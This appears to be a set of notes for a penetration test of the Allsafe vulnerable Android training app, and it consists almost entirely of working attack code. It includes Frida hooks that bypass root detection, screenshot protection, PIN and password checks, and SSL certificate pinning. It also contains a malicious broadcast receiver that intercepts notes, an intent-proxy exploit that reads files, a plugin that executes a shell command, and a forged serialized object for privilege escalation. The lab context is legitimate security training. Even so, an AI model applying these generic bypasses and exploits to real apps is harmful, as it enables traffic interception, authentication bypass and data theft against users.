Android应用程序渗透测试

Java.perform(function () {     var RootBeer = Java.use("com.scottyab.rootbeer.RootBeer");     RootBeer.isRooted.implementation = function () {         console.log("Bypassed RootBeer.isRooted()");         return false;     };});

Java.perform(function () {var Window = Java.use("android.view.Window");Window.setFlags.implementation = function (flags, mask) {console.log("Original flags: " + flags + ", mask: " + mask);var newFlags = flags&(~8192);var newMask = mask&(~8192);console.log("Modified flags: " + newFlags + ", mask: " + newMask);return this.setFlags(newFlags, newMask);};});

Java.perform(function() {    // Get the PinBypass class    var PinBypass = Java.use("infosecadventures.allsafe.challenges.PinBypass");    // Hook the checkPin method    PinBypass.checkPin.implementation = function(pin) {        console.log("[*] Original checkPin called with PIN: " + pin);        // Force the methodtoalwaysreturntrue        var result = true;        console.log("[+] Overriding return value to: " + result);        return result;    };    console.log("[+] PinBypass.checkPin() hooked successfully!");});

Java.perform(function () {    var Window = Java.use("infosecadventures.allsafe.challenges.WeakCryptography");    Window.md5Hash.implementation = function (arg0) {        console.log("input string: " + arg0);        return "md5md5";    };});

Java.perform(function() {    // Hook Java层调用    var NativeLibrary = Java.use("infosecadventures.allsafe.challenges.NativeLibrary");    NativeLibrary.checkPassword.implementation = function(pwd) {        console.log("Password attempt: " + pwd);        return true; // 总是返回true    };    // Hook native层    var checkPass = Module.findExportByName("libnative_library.so", "checkPass");    Interceptor.attach(checkPass, {        onEnter: function(args) {            console.log("Native checkPass called");        },        onLeave: function(retval) {            retval.replace(1); // 覆盖返回值为1        }    });});

package com.example.maliciousreceiverimport android.content.BroadcastReceiverimport android.content.Contextimport android.content.Intentimport android.util.Logimport android.widget.Toastclass MaliciousReceiver : BroadcastReceiver() {    override funonReceive(context: Context, intent: Intent?) {        if (intent?.action == "infosecadventures.allsafe.action.PROCESS_NOTE") {            val note = intent.getStringExtra("note")            val server = intent.getStringExtra("server")            val notification = intent.getStringExtra("notification_message")            Log.i("MaliciousReceiver", "Note: $note")            Log.i("MaliciousReceiver", "Server: $server")            Log.i("MaliciousReceiver", "Notification Message: $notification")            Toast.makeText(context, "Intercepted note: $note", Toast.LENGTH_LONG).show()        }    }}

<receiver    android:name=".MaliciousReceiver"    android:exported="true">    <intent-filter>        <actionandroid:name="infosecadventures.allsafe.action.PROCESS_NOTE" />    </intent-filter></receiver>

setTimeout(function() {Java.perform(function() {console.log("");console.log("[.] Cert Pinning Bypass/Re-Pinning");var CertificateFactory = Java.use("java.security.cert.CertificateFactory");var FileInputStream = Java.use("java.io.FileInputStream");var BufferedInputStream = Java.use("java.io.BufferedInputStream");var X509Certificate = Java.use("java.security.cert.X509Certificate");var KeyStore = Java.use("java.security.KeyStore");var TrustManagerFactory = Java.use("javax.net.ssl.TrustManagerFactory");var SSLContext = Java.use("javax.net.ssl.SSLContext");// Load CAs from an InputStream        console.log("[+] Loading our CA...");        var cf = CertificateFactory.getInstance("X.509");try {var fileInputStream = FileInputStream.$new("/data/local/tmp/90434q1.0"); //替换成抓包软件的证书路径		} catch(err) {console.log("[o] " + err);		}var bufferedInputStream = BufferedInputStream.$new(fileInputStream);var ca = cf.generateCertificate(bufferedInputStream);		bufferedInputStream.close();var certInfo = Java.cast(ca, X509Certificate);console.log("[o] Our CA Info: " + certInfo.getSubjectDN());// Create a KeyStore containing our trusted CAsconsole.log("[+] Creating a KeyStore for our CA...");var keyStoreType = KeyStore.getDefaultType();var keyStore = KeyStore.getInstance(keyStoreType);		keyStore.load(null, null);		keyStore.setCertificateEntry("ca", ca);// Create a TrustManager that trusts the CAs in our KeyStoreconsole.log("[+] Creating a TrustManager that trusts the CA in our KeyStore...");var tmfAlgorithm = TrustManagerFactory.getDefaultAlgorithm();var tmf = TrustManagerFactory.getInstance(tmfAlgorithm);		tmf.init(keyStore);console.log("[+] Our TrustManager is ready...");        console.log("[+] Hijacking SSLContext methods now...");        console.log("[-] Waiting for the app to invoke SSLContext.init()...");        SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").implementation = function (a, b, c) {console.log("[o] App invoked javax.net.ssl.SSLContext.init...");SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").call(this, a, tmf.getTrustManagers(), c);console.log("[+] SSLContext initialized with our custom TrustManager!");		}	});},0);

package com.example.providerimport android.content.ComponentNameimport android.content.Intentimport android.net.Uriimport android.os.Bundleimport android.util.Logimport androidx.activity.ComponentActivityclass MainActivity : ComponentActivity() {    override funonCreate(savedInstanceState: Bundle?) {        super.onCreate(savedInstanceState)        val targetUri = Uri.parse("content://infosecadventures.allsafe.fileprovider/files/docs/readme.txt")        // Intent to view the readme file        val readIntent = Intent(Intent.ACTION_VIEW).apply {            setDataAndType(targetUri, "text/plain")            flags = Intent.FLAG_GRANT_READ_URI_PERMISSION        }        // Proxy intent to be passed to ProxyActivity        val proxyIntent = Intent().apply {            component = ComponentName(                "infosecadventures.allsafe",                "infosecadventures.allsafe.ProxyActivity"            )            putExtra("extra_intent", readIntent)        }        try {            startActivity(proxyIntent)            Log.d("Exploit", "Proxy intent sent!")        } catch (e: Exception) {            Log.e("Exploit", "Failed to launch intent: ${e.message}")        }        finish()    }}

package infosecadventures.allsafe.pluginimport android.util.Logimport java.io.BufferedReaderimport java.io.InputStreamReaderobject Loader {    @JvmStatic    funloadPlugin() {        try {            val process = Runtime.getRuntime().exec("id")            val reader = BufferedReader(InputStreamReader(process.inputStream))            val output = reader.readText()            Log.d("PluginLoader", "Command Output: $output")        } catch (e: Exception) {            Log.e("PluginLoader", "Error executing payload", e)        }    }}```

package infosecadventures.allsafe.challenges;import java.io.FileOutputStream;import java.io.ObjectOutputStream;import java.io.Serializable;public class ObjectSerialization {    public static void main(String[] args) {        try {            User user = new User("admin", "admin123");            user.role = "ROLE_EDITOR";  // 修改角色为有权限的角色            FileOutputStream fos = new FileOutputStream("user.dat");            ObjectOutputStream oos = new ObjectOutputStream(fos);            oos.writeObject(user);            oos.close();            fos.close();            System.out.println("✅ user.dat 序列化完成。");        } catch (Exception e) {            e.printStackTrace();        }    }    public static class User implements Serializable {        private static final long serialVersionUID = -4886601626931750812L;         public String username;        public String password;        public String role;        public User(String username, String password) {            this.username = username;            this.password = password;            this.role = "ROLE_AUTHOR";  // 默认角色        }        @Override        public String toString() {            return "User{username='" + username + "', password='" + password + "', role='" + role + "'}";        }    }}```

javac -d out app/src/main/java/infosecadventures/allsafe/challenges/ObjectSerialization.javacd outjava infosecadventures.allsafe.challenges.ObjectSerialization